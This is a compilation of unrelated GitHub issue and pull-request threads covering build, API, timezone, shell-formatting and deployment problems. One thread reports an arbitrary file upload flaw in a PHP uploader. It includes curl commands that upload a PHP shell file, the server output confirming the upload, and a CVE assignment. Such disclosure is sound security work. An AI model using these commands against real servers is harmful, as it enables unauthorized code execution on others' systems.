Brad, before Pull Requesting the Travis file for bcbio-nextgen, and in order to get rid of this small hack, would you please update bcbio-nextgen-vm in binstar when/if this is merged?
Thank you very much!

Thanks for all the work on Travis integration. This is updated in the latest bcbio-nextgen-vm conda package so it should hopefully be ready to go. Thanks again.

Thanks! :)


Spelling ast

This fixes some misspellings in Swift ast, it is split per https://github.com/apple/swift/pull/42421#issuecomment-1101092698

This didn't work. I'm going to need to pull in the include/swift/AST directory.

@swift-ci smoke test

@swift-ci please smoke test


"Unknown zigbee publish cmdType undefined" error and crash since v9.0.0

I've been receiving the following error since v9.0.0:
zigbee2mqtt:info 5/6/2019, 9:16:09 PM Device incoming...
zigbee2mqtt:info 5/6/2019, 9:16:09 PM MQTT publish: topic 'zigbee2mqtt/bridge/log', payload '{"type":"pairing","message":"device incoming"}'
zigbee2mqtt:info 5/6/2019, 9:16:20 PM Zigbee publish to device '0x7cb03eaa00a18bbd', undefined - undefined - undefined - {"manufSpec":0,"disDefaultRsp":0} - null
zigbee2mqtt:error 5/6/2019, 9:16:20 PM Unknown zigbee publish cmdType undefined

After the last message, zigbee2mqtt stops responding.
Here is the message I'm sending when I get the error:
zigbee2mqtt/0x7cb03eaa00a18bbd/set
{
  "brightness": 255,
  "color": {
    "r": 255,
    "g": 43,
    "b": 72
  }
}

Switching back to v8.1.5 causes the issue to go away.

Are you on the latest zigbee2qmtt dev branch?

Apparently my docker image was a couple days old.  I just modified my script to always pull the lastest-dev image first and now it works.


Send message need to update model from claude-2 to claude-2.1

Error response:
{
  "error": {
    "type": "permission_error",
    "message": "Invalid model",
    "code": "model_not_allowed"
  }
}

Chrome browser fetch:
{
  "completion": {
    "prompt": "Hi",
    "timezone": "Asia/Shanghai",
    "model": "claude-2.1" # update here
  },
  "organization_uuid": "xxxxxx",
  "conversation_uuid": "xxxxxx",
  "text": "Hi",
  "attachments": []
}

=-=-=-=-= 2023/11/22 =-=-=-=-=
Claude model name seems to be updated to 'claude-2.1' on 2023/11/22.
=-=-=-=-= 2023/11/21 =-=-=-=-=
Claude model name seems to be updated to 'claude-2.0-magenta' on 2023/11/21.

Hi nt1r, did you try to update your code?
It shows this error today, not sure if it is related
Traceback (most recent call last):
File "/home/xxx/Claude-API/usecases/console_chat.py", line 32, in
main()
File "/home/xxx/Claude-API/usecases/console_chat.py", line 28, in main
response = claude.send_message(user_input, conversation_id)
File "/home/eddy/.local/lib/python3.10/site-packages/claude_api.py", line 129, in send_message
data = json.loads(json_str)
File "/usr/lib/python3.10/json/init.py", line 346, in loads
return _default_decoder.decode(s)
File "/usr/lib/python3.10/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/lib/python3.10/json/decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

Hi nt1r, did you try to update your code?
It shows this error today, not sure if it is related
@wmcaeddy Hi, there. I'm not sure if this error is caused by the model name change. I'm not very good at Python, sorry I can't help you locate the error. Recently I've been referencing the code from this project and refactoring it using the Kotlin language. Today when I was writing the Ktor server side code I came across this Error, so I decided to open this Issue here.

Translated by Claude.

@nt1r thank you, this is useful

Thanks for the update! I encountered a similar problem and your solution successfully solved the problem!
Traceback (most recent call last):
  File "E:\0nlp\Claude-API-main\usecases\console_chat.py", line 43, in <module>
    main()
  File "E:\0nlp\Claude-API-main\usecases\console_chat.py", line 36, in main
    response = claude.send_message(user_input, conversation_id, timeout=600)
  File "E:\0nlp\Claude-API-main\claude-api\claude_api.py", line 137, in send_message
    data = json.loads(json_str)
  File "C:\Users\14416\AppData\Local\Programs\Python\Python39\lib\json\__init__.py", line 346, in loads
    return _default_decoder.decode(s)
  File "C:\Users\14416\AppData\Local\Programs\Python\Python39\lib\json\decoder.py", line 337, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "C:\Users\14416\AppData\Local\Programs\Python\Python39\lib\json\decoder.py", line 355, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

It seems that the model has been updated, claude-2.1

It seems that the model has been updated, claude-2.1

you are right. thanks

Hi nt1r, did you try to update your code?
It shows this error today, not sure if it is related

@wmcaeddy Hi, there. I'm not sure if this error is caused by the model name change. I'm not very good at Python, sorry I can't help you locate the error. Recently I've been referencing the code from this project and refactoring it using the Kotlin language. Today when I was writing the Ktor server side code I came across this Error, so I decided to open this Issue here.
Translated by Claude.
PS: You can checkout the pull request I submitted today and see if the error has been resolved.

Hello, do you have the the API translated in kotlin? May I ask if I can get a copy, I'm working on my school project, it will helps a lot. Thanks

Hello, do you have the the API translated in kotlin? May I ask if I can get a copy, I'm working on my school project, it will helps a lot. Thanks

here
I have not yet added a readme.md file in the project. You can take a look at the ktor related documentation.

It seems that the model has been updated：claude-2.0

Bro,I had the same problem when using "send_message", the problem still exists after updating model, it is still in debug. If a brother found a solution, can you share it?

I think they updated their API, can't seem to see POST request in the network console, anyone can look up if there is changes?


checks if there is hunk, this fixes several error 500

Cool! Thanks for sorting that out. Do you think you can make the builds green? A unit test would probably be helpful.


dax | add resource/filter 'subnet'

Per #2239

adding resource 'dax-subnet-group'
adding dax filter 'subnet'

not sure the subnet group as resource has intrinsic value, given the subnet filter, else looks good on subnet filter.


Change schema according to reimbursement needs

Changes Unknown when pulling d8d5fb8e267d389dbba6bad4ed85f6ca5b429ae7 on AlekzandrV-patch-3 into ** on master**.

Pharmacist schema implemented in separate json file


Arbitrary file uploads

By defaut, this code allows arbitrary file uploads to the web server's path.  This will allow any unauthenticated user to upload a PHP file to the web server's path and execute it.

curl -vk site/[path]/default/php/ajax_upload_file.php -F<EMAIL_ADDRESS>-F "files=b.php" -F "upload_dir=dir"

Hi,
Which solution did you use to prevent this?

So does setting the 'uploadDir' => null, for dir will prevent this when called directly?
protected $options = array(
        'limit' => null,
        'maxSize' => null,
        'extensions' => array('JPG', 'jpg'),
        'required' => false,
        'uploadDir' => null,
        'title' => array('auto', 10),
        'removeFiles' => true,
        'perms' => null,
        'replace' => true,
        'onCheck' => null,
        'onError' => null,
        'onSuccess' => null,
        'onUpload' => null,
        'onComplete' => null,
        'onRemove' => null
    );

Thanks

I'd make the uploadDir /var/tmp

bscript's above exploit will work to test from the Linux command line.

My exploit looked like this:
$ curl -vk http://localhost/php-uploader/examples/upload.php  -F<EMAIL_ADDRESS>
Trying ::1...
TCP_NODELAY set
Connected to localhost (::1) port 80 (#0)

POST /php-uploader/examples/upload.php HTTP/1.1
Host: localhost
User-Agent: curl/7.52.1
Accept: /
Content-Length: 9376
Expect: 100-continue
Content-Type: multipart/form-data; boundary=------------------------9acb3f20a7222918

< HTTP/1.1 100 Continue
< HTTP/1.1 200 OK
< Date: Tue, 20 Sep 2022 16:15:13 GMT
< Server: Apache/2.4.25 (Debian)
< Vary: Accept-Encoding
< Content-Length: 734
< Content-Type: text/html; charset=UTF-8
<
Array
(
[files] => Array
(
[0] => uploads/09ENdXG85W.php
)
[metas] => Array
    (
        [0] => Array
            (
                [date] => Tue, 20 Sep 2022 12:15:13 -0400
                [extension] => php
                [file] => uploads/09ENdXG85W.php
                [name] => 09ENdXG85W.php
                [old_name] => shell.php
                [replaced] =>
                [size] => 9174
                [size2] => 8.96 KB
                [type] => Array
                    (
                        [0] => application
                        [1] => octet-stream
                    )

            )

    )

)

Curl_http_done: called premature == 0
Connection #0 to host localhost left intact

I'm going to assign a CVEid of CVE-2022-40721 to track this.


Addressing lossy feeds

The firehose from pypi Latest() can occasionally miss package updates due to a limitation on the 50 most recent package updates in the current pypi updates.xml rss feed. In some use cases this is acceptable but for certain deployments it is critical that certain package updates are not missed.
I propose two solutions for discussion:

Extend the Feeds API to support querying a subset of packages which is optional for a given feed to implement. This allows feeds like Pypi to take advantage of these package specific APIs to ensure that updates are not missed at the cost of additional requests to the API. This will allow other implementations to avoid loss of package updates also.
Augment the existing Pypi feed to be configurable with this critical package list and check these manually alongside the standard updates.xml firehouse.

For Pypi, I have a WIP implementation of the necessary API calls in a custom feed at https://github.com/Qinusty/package-feeds/commit/deeeec7f606272c2674f23d18f9b96b130c2409d
I'm interested in hearing peoples thoughts and use cases for this.

I think pypi is an excellent example here, even if the default poll rate (5 minutes) was tightened there's still scope to missing updates due to the 50 'snapshot' limitation on the general  updates.xml rss feed.  Obviously that scope still exists when hitting the specific package release endpoints, however much more unlikely when restricted to a single package.

Does this apply to some of the other feeds as well? The npm feed appears to use a rss feed of limited length
https://github.com/ossf/package-feeds/blob/97a1ef475bfc6d22e716a3a9405fa69c122ac39c/feeds/npm/npm.go#L15
As does the cargo feed
https://github.com/ossf/package-feeds/blob/97a1ef475bfc6d22e716a3a9405fa69c122ac39c/feeds/crates/crates.go#L13
I'm not sure what the rules are for these endpoints (whether they expire from the feed based on time, or number of packages, or both) - but it feels like some of them might have the same issues.
Another thing that might come up as part of this - currently each feed is parsed in its own goroutine, meaning feeds are processed in parallel - but the processing within each feed is sequential. Some of the existing feeds (npm, nuget) make a request to the registry for each package they process - and do so sequentially, which makes processing these feeds significantly slower than feeds like cargo, where only a single request is required per scan. It looks like the proof-of-concept linked above introduces parallelism within the pypi_critical feed itself, which is really cool - and it might also be worth extending this parallelism to the other feeds mentioned above.

With this impacting other feeds than pypi, I suspect the better approach is to allow the ScheduledFeed interface to handle this with configurations for feeds to be set up to monitor the firehose (lossy) or specific subsets of packages if supported by the feeds API.
For this, I propose we go with the solution listed above:

Extend the Feeds API to support querying a subset of packages which is optional for a given feed to implement. This allows feeds like Pypi to take advantage of these package specific APIs to ensure that updates are not missed at the cost of additional requests to the API. This will allow other implementations to avoid loss of package updates also.

With some adaptions, we should be able to use Latest as defined currently but Feed packages should support construction via a standardised FeedConfiguration struct which can be extended for additional feed specific configurations. The call to Latest should determine the appropriate API queries to make depending on the provided configurations.
An example of this should would be quite basic for now:
type FeedOptions struct {
  Packages []string
}

Packages which do not support this should error during initialization when Packages is provided as a configuration option.

@dlorenc @jordan-wright Any thoughts on the problem discussed here and the proposed solutions? This will directly impact configuration complexity for feeds but default configurations should still reflect the current implementation.

Lossiness does worry me, and I'm not sure the best answer. In genera something like what you described makes sense! Some kind of feed based system for the general case with periodic syncs to check for misses for specific packages sounds about the best we can do.

https://github.com/ossf/package-feeds/pull/99 provides a base implementation of this, with options provided to feeds to allow configuration of this functionality, currently this is only added to pypi but can easily be extended to other feeds where per-package API queries are possible.
NPM for example already performs this per-package query as the updates API only provides the package which updated and not the version information.


Error setting throughput for cosmos db collection

I am unable to update the throughput (scale) a collection using the azure portal.

Lots of errors in dev console...

should add, despite being set to 2500 on initial creation. The box is empty when loaded.
Recently created collections don't have this issue.

Hey @joeweale - Thank your for your feedback. Could you provide the URL for the specific documentation you were following? That way, we're able to reach out to appropriate content & engineering teams to make necessary changes to that documentation so that others won't run into same issue. Thanks again!

Hey @joeweale - just checking in here again. Did you run into this issue while following steps from a particular azure documentation?

Hi @mike-urnun-msft
This was raised as a support ticket at the same time. It seems there's a problem updating the value through the new settings blade in cosmosdb for old documentdb collections. So although the article is technically correct for new collections it doesnt work on legacy collections.
I'd say the bug was in the azure blade vs the documentation.
Thanks
Joe


Update huahua gas

What is the purpose of the change

ClickUp Task
ClickUp Task URL
Brief Changelog

Testing and Verifying

Documentation and Release Note

Please fix merge confligts

The Chain Registry has 1, 5, 10, and the Keplr Chain Registry has 100, 250, and 500.
Although this likely works, where do the numbers 100, 200, 300 come from?

Thanks for the references. Updated according to Keplr registry.

Thanks for the changes. Looks like there are still merge conflicts, tho. Could you please resolve, @kamal-sutra ?


Camera

On the mobile, when the video is turned on, the back camera falls
The front camera does not turn on

Could you share a screen recording of this?

Now the front camera is falling
Thanks.


Timestamps are only displayed in UTC and not in local timezone

All timestamps are only displayed in UTC and not in the local timezone.
I found this issue from 2 years ago regarding this, but there was no resolution: https://github.com/apache/incubator-superset/issues/3928
Ideally, this should be configurable to allow users to select their timezone.
Are there any plans to support this?

I can't reproduce it. I did this simple test.
My Database is in UTC :

But when query in Superset, I am in EST,

Seems that it shows accordingly. Can you please show an example to reproduce?

@eugeniamz Thanks for getting back to me.
My DB is in UTC as well and this is the result of my query:

And the exact same query when run in SQL Lab (I am in PST)

Did you have to SET the timezone first to get the correct results? Or do anything else?
I'm using Superset 0.35.1.

Same issue.
I'm using clickhouse and superset.

Datetime data is converted to utc timezone, I'm confused.
I have changed the superset host and container timezone to db's timezone(Asia/Shanghai).
Tried https://pypi.org/project/sqlalchemy-clickhouse-timezone/ , but no sense.
I'm using amancevice/superset:0.36.0 docker image.

https://github.com/apache/incubator-superset/issues/9304#issuecomment-609524741

There are significant complexity revolving timezone configs. Superset decided to always UTC time to keep things simple. It'd be quite some work if we want to add custom timezone support.

#9304 (comment)

There are significant complexity revolving timezone configs. Superset decided to always UTC time to keep things simple. It'd be quite some work if we want to add custom timezone support.

I found that this problem only occurs when using clickhouse, superset will visual local time when the datasource is mysql. I guess whether there are some bugs when connecting clickhouse

Seeing the same even without clickhouse. Using a postgresql database and while the field dtype is a timestamp with time zone and looks that way in the SQL Lab, when displayed on a chart, the timezone offset is just thrown away.


use a shell parser to format commands

At the moment, the code simply treats shell code as a string, splitting by && and doing string replaces.
This will work most of the time, but will break fairly easily, with cases like:

bash -c 'foo && bar' - we don't want this to be split
apk update  && apk add x - won't be replaced with apk add --no-cache due to the double space

I use this tool and suffer from these from time to time, so I'd be happy to work on a small patch to use mvdan.cc/sh/syntax. Using its printer you'd also format the shell code, such as replacing `foo` with $(foo).
I see no tests, though - so I'm a bit wary to touch the code. Chances are I'm going to introduce a couple of regressions :)

please do :)

Instead of just ignoring &&'s that are inside quotes, I started implementing mvdan/sh/syntax last night for the full shell parser. I got it working but then had some concerns:

Just because something is quoted doesn't mean it's going to be shelled out (could try to address this by looking for 'bash', 'sh', etc. before the quotes but that could be a mess)
Should we provide  a flag to enable the shell parser?
Should we provide flag(s) for shell parser options or just insist on formatting a certain way?

I'm leaning towards a shell parser being out of scope of what dockfmt is for, but I may be wrong and don't have a problem solving those ^ issues if you disagree and would like to have it.
Just let me know if you'd like to have the shell parser and if I should include anything to address those ^ . On the other hand, if you just want to stick with ignoring quoted &&'s, let me know if you have an issue with the regex solution; I can handle criticism :)

@mvdan I agree that regex is rarely the perfect answer and needs to be used cautiously. The first example you gave parses correctly for me with the regex though, but you're right about the last two since quotes aren't involved. Using the parser by itself might be a good idea then. I got carried away implementing full command parsing which is what I started to question being in scope. I'll try to take another look at your syntax parser sometime this week.

I've just played with @mvdan's shell parser / shfmt in the context of https://github.com/moby/moby/issues/38055, and I can say it's definitely got me impressed.  I was stylistically happier with the output after turning on several of the optional configuration knobs (-bn -ci -sr), but the basics were definitely all correct (including weird features like <<-EOF getting indented properly, which isn't relevant for Dockerfile syntax but is still useful to gauge how well @mvdan understands the space of "shell code parsing" :+1: :heart:).

@tianon Oh without a doubt. My hacked up PR a few months ago wasn't meant to discredit @mvdan's work. I agree that his syntax parser needs to be used here. I dropped the ball on "taking a look this week" since its well... been much longer than that. I started a new job the week after that and got way too busy. I won't specify a time frame this time but it's definitely something I hope to look into again soon.


ICU translation message format and yaml syntax for translations

Description
The recommended way by Symfony for translations is the ICU format. It has a lot of more options than the default, also regarding pluralization.
See: https://symfony.com/doc/current/translation.html#message-format
and: https://symfony.com/doc/current/translation/message_format.html
There they only document the ICU format for pluralization now, so it is likely that in the future support for the old format might be removed altogether.
It would be nice if this format is supported. However, this format is not so nice to maintain in JSON, so it would be nice if yaml files are also supported which should be really easy with Symfony as Symfony translator supports multiple formats by default and has all the necessary file loaders.
Issuetracker issue: https://issues.shopware.com/issues/NEXT-15840

Hey @AndreasA
as you may have noticed, we are currently only doing a very rough screening of the GitHub issues. We are mainly using our own issue tracker https://issues.shopware.com/
We are planning to merge the GitHub issues with our issue tracker, but this is an ongoing process and will still take some time.
The fastest way to get a fix into Shopware would be creating a pull request. wink Find more about that here.
Additionally, if this is really important for you, I would recommend to create a ticket on our issue tracker and link to this issue in the text.
Sorry for the inconvenience, but unfortunately this is the current status, we also have to deal with. frowning_face I assure you, that we are also not happy with it.
I know this actually does not really help, but this is our current situation :slightly_smiling_face:
Best regards from Schöppingen
Oliver Skroblin

@OliverSkroblin I now created issue tracker issues for the newest issues I created but I am definitely not going to convert all old ones too 😄

@OliverSkroblin Isn't it possible to disable the creation of new tickets at github but keep the existing ones? And add a link to the issue tracker instead?
E.g. on create issue, there is only one type, that links to the issue tracker and has some information like you already have for Report a security vulnerability?

I can only agree with you, I personally find the Github UI better too, but it's not plannable for us if we have X places where tickets can be posted.
How exactly we will deal with Github issues in the future I can't tell you, that's all in clarification at the moment. Unfortunately that is the current state.
I just wanted to point it out to you, because I always get a notice when something happens here on Github and I saw that you already spent a lot of time here in the issues :wink:

@OliverSkroblin Thanks for letting me know, I will create new tickets in the Shopware issue tracker now. And I totally understand that using multiple issue trackers is not really feasible 😄

Hello,
Within our company roadmap and work capacity, we try to address each bug or improvement request but admit that not each one will be resolved. To continue our culture of honesty and openness, we are closing this issue to focus on our roadmap on behalf of all Shopware users.
If you feel like this issue is still impacting you, please create a new issue and let us know.
Thank you again for your valuable feedback.


Adding Hozz to Built on Electron section

Hozz is an open source /etc/hosts file manger for Windows, OS X and Linux. Hozz is built on Electron.
Landing page

:sparkles:


can not find project through nginx

Describe the bug
A clear and concise description of what the bug is.
To Reproduce
Steps to reproduce the behavior:

Go to https://www.lsz8617.com/prisma
Click on f12
Scroll down to '....'
See error

Expected behavior
A clear and concise description of what you expected to happen.
get is ok ,but post will report an error
Screenshots
If applicable, add screenshots to help explain your problem.

nginx conf

Versions (please complete the following information):

Connector:  MySQL
Prisma Server: [e.g. 1.24.0]
prisma CLI: [e.g. `prisma/1.3.0
OS: [e.g. Windows 10, OS X High Sierra, Ubuntu 16.04]
other dependencies: prisma-client, prisma-binding, etc. if applicable

Additional context
Add any other context about the problem here.

You will need to add a trailing slash in order strip admin or /prisma_admin to be passed to localhost. Prisma server uses URLs to resolve various projects so you will need to strip /admin.
location /prisma {
  proxy_pass http://localhost:4466/;
}

location /prisma_admin {
  proxy_pass http://localhost:4466/_admin/;
}

Going to close this as this is more related to nginx than Prisma. Reply if you are unable to find a solution.


I can't install puppeteer on Ubutnu 20.04

I can't install puppeteer on linux
Ubuntu 20.04 LTS
Node.js version: v10.19.0
I used the guide inside the Puppeteer github,
npm install puppeteer
but i get these errors and i can't use puppeteer!
Downloading Chromium r869685 - 135.6 Mb [====================] 100% 0.0s
Chromium (869685) downloaded to /home/ciao/Desktop/test/node_modules/puppeteer/.local-chromium/linux-869685
npm WARN saveError ENOENT: no such file or directory, open '/home/ciao/Desktop/test/package.json'
npm WARN enoent ENOENT: no such file or directory, open '/home/ciao/Desktop/test/package.json'
npm WARN test No description
npm WARN test No repository field.
npm WARN test No README data
npm WARN test No license field.
What is the expected result?

have you even tried googling the error?

try to install it with root permission

https://stackoverflow.com/questions/45531633/npm-warn-enoent-enoent-no-such-file-or-directory-open-c-users-nuwanst-packag

sudo npm install puppeteer

ok i got it
it was because of the node version which puppeteer didnt support.
my bad

Node 10 is not supported and I am unable to reproduce the issue with the latest version.


[Feature] support deploy CurveBS on bcache+mdrai1

请帮助在 bcache+mdrai1 上面部署 CurveBS，如果你想了解更详细的信息或有任何疑问，请在该 issue 下面告诉我。
可能包括：

bcache缓存盘以及wal日志分区，基于mdraid1部署
mdraid1的参数配置
bcahe集群清理时，清理mdraid1资源

基于curveadm playbook功能实现，我们可以提供部署步骤和部署命令的参考脚本

apply

Hello, I am a graduate student majoring in computer technology at Hangzhou University of Electronic Science and Technology. My commonly used development language is go. I have participated in the Douyin back-end development project of the Byte Youth Training Camp. I am familiar with the gin framework and related technologies for microservice development. I am also familiar with the stack (grpc, docker, k8s, mysql, redis, etcd). I hope to participate in a project on this theme and learn about distributed storage.


FormatterServices is obsoleted in .NET 8.0

WARN:
SYSLIB0050	“FormatterServices” obsoleted :“Formatter-based serialization is obsolete and should not be used.”	JSONParser.cs

SRC:
[Obsolete("Formatter-based serialization is obsolete and should not be used.", DiagnosticId = "SYSLIB0050", UrlFormat = "https://aka.ms/dotnet-warnings/{0}")]
public static class FormatterServices
{
    ///
}

Maybe someone can confirm that this change is okay or even provide a better solution?
https://github.com/topeterk/SystemTrayMenu/commit/173cf0e8e4cbde8e8a75282b33918af76dea4157#diff-77183a5d671cbfb04ff571978b4597b80825b764581bebbf29b2da038e8d236c
So for now, I am ending up with...
        private static object? ParseObject(Type type, string json)
        {
            object? instance = Activator.CreateInstance(type);
            if (instance is null)
            {
                return null;
            }


bump 0.4.5: document new feature versions

add citation information for paper

Codecov Report

Merging #271 into master will not change coverage.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##           master     #271   +/-   ##
=======================================
  Coverage   96.66%   96.66%
=======================================
  Files          15       15
  Lines        1349     1349
=======================================
  Hits         1304     1304
  Misses         45       45

Impacted Files
Coverage Δ

pandera/checks.py
98.41% <ø> (ø)

pandera/schemas.py
96.69% <ø> (ø)

pandera/version.py
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fae87e1...ad908d2. Read the comment docs.


Add capture_stdouterr option

Motivation:
There are scenarios where the stdout and stderr from a testsuite can
provide valuable info to help debug.
Modifications:

Add a new option capture_stdouterr which can capture the stdout and
stderr and publish it as an annotation.

Result:
stdout/stderr is available as annotation for additional context to
debug.

IIUC the test failure is expected due to the way GitHub actions are setup in this repo. My fork won't have access to this repo's tokens as required by the github action.

Hi Scott, thanks for this proposal. Before we dive deep into the code, I'd like to ask what does your project look like in terms of build pipeline. My point is that if you're using maven surefire plugin for example, you can direct all output into a file and then archive it as a build artefact. In that case you'll have all relevant debug logs/stdout/err in a convenient package to download. Or even setting some maven/plugin flag to output as much details as possible in the build console itself. I'm concerned that putting potentially massive logs into an annotation would break limits easily and you'll not get the advantage you'd want.

Hi Scott, thanks for this proposal. Before we dive deep into the code, I'd like to ask what does your project look like in terms of build pipeline. My point is that if you're using maven surefire plugin for example, you can direct all output into a file and then archive it as a build artefact. In that case you'll have all relevant debug logs/stdout/err in a convenient package to download. Or even setting some maven/plugin flag to output as much details as possible in the build console itself. I'm concerned that putting potentially massive logs into an annotation would break limits easily and you'll not get the advantage you'd want.

Our build pipeline uses gradle, and here is an example build log. The intention is when a test failure occurs all the relevant information can be accessed in the same place. The logs don't necessarily have to be captured inline in the annotation (e.g. uploaded as an independent file with a download link provided in the annotation assuming GH api supports this), but the goal is to avoid manually sifting through logs to find relevant entries (I'm not sure if you can easily filter gradle/maven output to console based upon failures).
FWIW this is meant to emulate functionality provided by Jenkins surefire/junit plugin.

Our build pipeline uses gradle, and here is an example build log. The intention is when a test failure occurs all the relevant information can be accessed in the same place. The logs don't necessarily have to be captured inline in the annotation (e.g. uploaded as an independent file with a download link provided in the annotation assuming GH api supports this), but the goal is to avoid manually sifting through logs to find relevant entries (I'm not sure if you can easily filter gradle/maven output to console based upon failures).
FWIW this is meant to emulate functionality provided by Jenkins surefire/junit plugin.

I understand and see the benefit. However putting the non-test output (e.g. Spring-Boot info logs during app startup) into raw_output would make things much more convoluted than they need to be. In 95% of the cases you don't need the system logs around the failed test.
So I would be for uploading the '-output.txt' file somewhere and having it linked from the annotation. GH action can upload artifacts, however I never experimented with it.

I understand and see the benefit. However putting the non-test output (e.g. Spring-Boot info logs during app startup) into raw_output would make things much more convoluted than they need to be. In 95% of the cases you don't need the system logs around the failed test.
So I would be for uploading the '-output.txt' file somewhere and having it linked from the annotation. GH action can upload artifacts, however I never experimented with it.

GH action can upload artifacts, however I never experimented with it.

Something like this works fine for me:
    - name: Build test reports archive on failure
      if: failure()
      shell: bash
      run: find target -name '*-reports' -type d -prune | tar -czf 'test-reports-${{ env.JOB_NAME }}.tgz' -T -
    - name: Upload test reports archive on failure
      uses: actions/upload-artifact@v2
      if: failure()
      with:
        name: test-reports-${{ env.JOB_NAME }}
        path: test-reports-${{ env.JOB_NAME }}.tgz
        if-no-files-found: ignore
        retention-days: 30

You cann add whatever you like to the archive (here only the reports are archived), e.g. add -o -name '*.log' to find.
You then get a nice download link in your workflow view.

Thanks @famod. This would be the preferred way of seeing output/logs/any other artefacts for closer investigation.
As mentioned, using annotations for this would be a big stretch. Therefore let me close this one.


[error] ENOENT: no such file or directory, stat 'D:\Users\DengWei.DWTHINKPAD\Desktop\github\freertos\e-2\Sample_DRV\Sensor'

Original message: Failed to copy file
System Info
Editor version: 1.95.1
Extension version: 0.25.1
OS: win32 10.0.22631
Stack
Error: ENOENT: no such file or directory, stat 'D:\Users\DengWei.DWTHINKPAD\Desktop\github\freertos\e-2\Sample_DRV\Sensor'
at statSync (node:fs:1668:25)
at t.statSync (node:electron/js2c/node_init:2:5397)
at Object.statSync (c:\Users\DengWei.DWTHINKPAD.vscode\extensions\moshfeu.compare-folders-0.25.1\node_modules\graceful-fs\polyfills.js:318:34)
at getStatsSync (c:\Users\DengWei.DWTHINKPAD.vscode\extensions\moshfeu.compare-folders-0.25.1\node_modules\fs-extra\lib\util\stat.js:58:18)
at Object.checkPathsSync (c:\Users\DengWei.DWTHINKPAD.vscode\extensions\moshfeu.compare-folders-0.25.1\node_modules\fs-extra\lib\util\stat.js:90:33)
at copySync (c:\Users\DengWei.DWTHINKPAD.vscode\extensions\moshfeu.compare-folders-0.25.1\node_modules\fs-extra\lib\copy-sync\copy-sync.js:24:38)
at CompareFoldersProvider.copyToFolder (c:\Users\DengWei.DWTHINKPAD.vscode\extensions\moshfeu.compare-folders-0.25.1\out\providers\foldersCompareProvider.js:248:37)
at CompareFoldersProvider.copyToCompared (c:\Users\DengWei.DWTHINKPAD.vscode\extensions\moshfeu.compare-folders-0.25.1\out\providers\foldersCompareProvider.js:145:18)
at Y0.h (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:114:32833)
at Y0.$executeContributedCommand (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:114:33683)
at py.S (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:31:113311)
at py.Q (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:31:113091)
at py.M (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:31:112180)
at py.L (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:31:111418)
at mh.value (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:31:110082)
at D.B (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:29:746)
at D.fire (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:29:964)
at Vn.fire (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:31:9457)
at mh.value (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:174:13279)
at D.B (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:29:746)
at D.fire (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:29:964)
at Vn.fire (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:31:9457)
at MessagePortMain. (file:///d:/Tool/Microsoft VS Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:174:11571)
at MessagePortMain.emit (node:events:519:28)
at MessagePortMain._internalPort.emit (node:electron/js2c/utility_init:2:2949)

This version is horrible, it broke copy to my folder / take mine/theirs functionality
Need to revert to older version to work

Sorry for that
The latest version supposed to fix this - https://github.com/moshfeu/vscode-compare-folders/releases/tag/v0.25.1
Clearly it's not the case for you
I don't the structure of your project of course but the path mentioned in the error makes sense (unlike the path people shared before the latest version). Can you tell me what's wrong with the path?
D:\Users\DengWei.DWTHINKPAD\Desktop\github\freertos\e-2\Sample_DRV\Senso

This version is horrible, it broke copy to my folder / take mine/theirs functionality Need to revert to older version to work

@lIllIIlI are you using the latest version? Is there anything special with your workspace?

I think I found a possible problem related to this.  I was having the same problem and the error was telling me that the file to be copied was on the C: drive when it was on the J: drive.
In Compare Folders settings, changing Diff View Title from name only to full path fixed the problem.  This should only effect the view, but it appears to be impact file system functions as well.

Thanks @azuravian , interesting point. You're right, it doesn't make sense 😅 Both of the problem and the solution
Seems like the problem is in win32. I'm trying to set it up in order to debug it
If anyone with win32 can take a look it would be great

Hi everyone
I reverted the code I modified in the last version to the one version before
Since I couldn't put my hands on a win32, I'd be happy if someone can test it on his/her machine
Thank you very much for reporting and for your collaboration 🙏
compare-folders-0.25.2.vsix.zip


[BUG] Please backport to v1.0-branch

Reproduction steps
The following commits in master need to be backported to the v1.0-branch to enable building with gcc 12 and gcc 13.
86267e68edf9e74  (See https://github.com/project-chip/connectedhomeip/pull/26792)
853691dfe73 (see https://github.com/project-chip/connectedhomeip/pull/26731)
These are both missing <cstdint> includes.
Bug prevalence
Everytime I try and build
GitHub hash of the SDK that was being used
v1.0-branch @ bd94d060c3
Platform
esp32, core
Platform Version(s)
No response
Anything else?
no, I think this about covers it :)

https://github.com/project-chip/connectedhomeip/pull/26792 is also required in the v1.1-branch too please...


Make Transformation and NonTransformation subclass TransformationBase

In some cases it can be awkward for NonTransformation to be a subclass of Transformation, such as in alchemiscale, for cases where NonTransformation should be handled very differently.
